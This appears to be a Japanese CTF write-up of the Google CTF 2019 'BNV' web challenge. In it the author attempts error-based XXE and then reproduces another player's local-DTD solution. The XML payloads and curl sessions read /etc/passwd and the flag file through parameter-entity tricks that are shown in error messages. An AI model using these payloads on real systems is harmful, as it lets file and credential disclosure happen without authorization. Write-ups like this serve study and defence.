「これさえ気が付いていれば解けたのにな～」と思って、このツイートを見て挑戦してみたけれど、やっぱり解けなかった。


こちらから送るXMLの中身は返ってこないので、エラーメッセージで出力させるしかない。この辺を参考に。

[Black Hat: XML Out\-Of\-Band Data Retrieval](https://www.slideshare.net/qqlan/bh-ready-v4)

外部参照で`http://～`を指定しても読んでくれなかった。外部ファイルを読むときにエラーになると、ファイル名が出てくる。

```attack1.xml
<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message (#PCDATA)>
  <!ENTITY % hoge SYSTEM "file:///hoge/fuga">
  %hoge;
]>
```

```shell-session
$ curl https://bnv.web.ctfcompetition.com/api/search -H 'Content-Type: application/xml' -d @attack1.xml
failed to load external entity "file:///hoge/fuga", line 1, column 124
```

ファイル名の部分に読みたいファイルの中身を持ってきてみる。

```attack2.xml
<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message (#PCDATA)>
  <!ENTITY % x SYSTEM "file:///etc/passwd">
  <!ENTITY % y "<!ENTITY &#x45; z SYSTEM 'file:///hoge/%x;'>">
  %y;
  %z;
]>
```

ややこしいけれど、`%y`が`<!ENTITY % z SYSTEM 'file:///hoge/root:x:0:0:root:/root:/bin/bash...'>`になる。しかし、エラー。

```shell-session
$ curl https://bnv.web.ctfcompetition.com/api/search -H 'Content-Type: application/xml' -d @attack2.xml
PEReferences forbidden in internal subset, line 1, column 175
```

こんな風に値の中で`%x`を使うのが、内部サブセットではダメらしい。外部サブセットなら可能。とはいえ、自前のファイルを参照させることはできないのだが……。でギブアップ。

```attack3.xml
<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message (#PCDATA)>
  <!ENTITY % x "hoge">
  <!ENTITY % y "%x;">
]>
```

諦めて他の人の解き方を見てみる。

[\[GoogleCTF 2019\] — Web: BNV — Writeup \- HMIF ITB Tech \- Medium](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2)

/usr/share/yelp/dtd/docbookx.dtdがローカルに存在するから使うらしい。これは分からん……。

```aytack.xml
<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message (#PCDATA)>
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; x SYSTEM "file:///flag">
    <!ENTITY &#x25; y "<!ENTITY &#x26;#x25; z SYSTEM &#x26;#x22;file:///hoge/&#x25;x;&#x26;#x22;>">
    &#x25;y;
    &#x25;z;
  '>
  %local_dtd;
]>
```

```shell-session
$ curl https://bnv.web.ctfcompetition.com/api/search -H 'Content-Type: application/xml' -d @attack.xml
Invalid URI: file:///hoge/CTF{0x1033_75008_1004x0}, line 1, column 121
```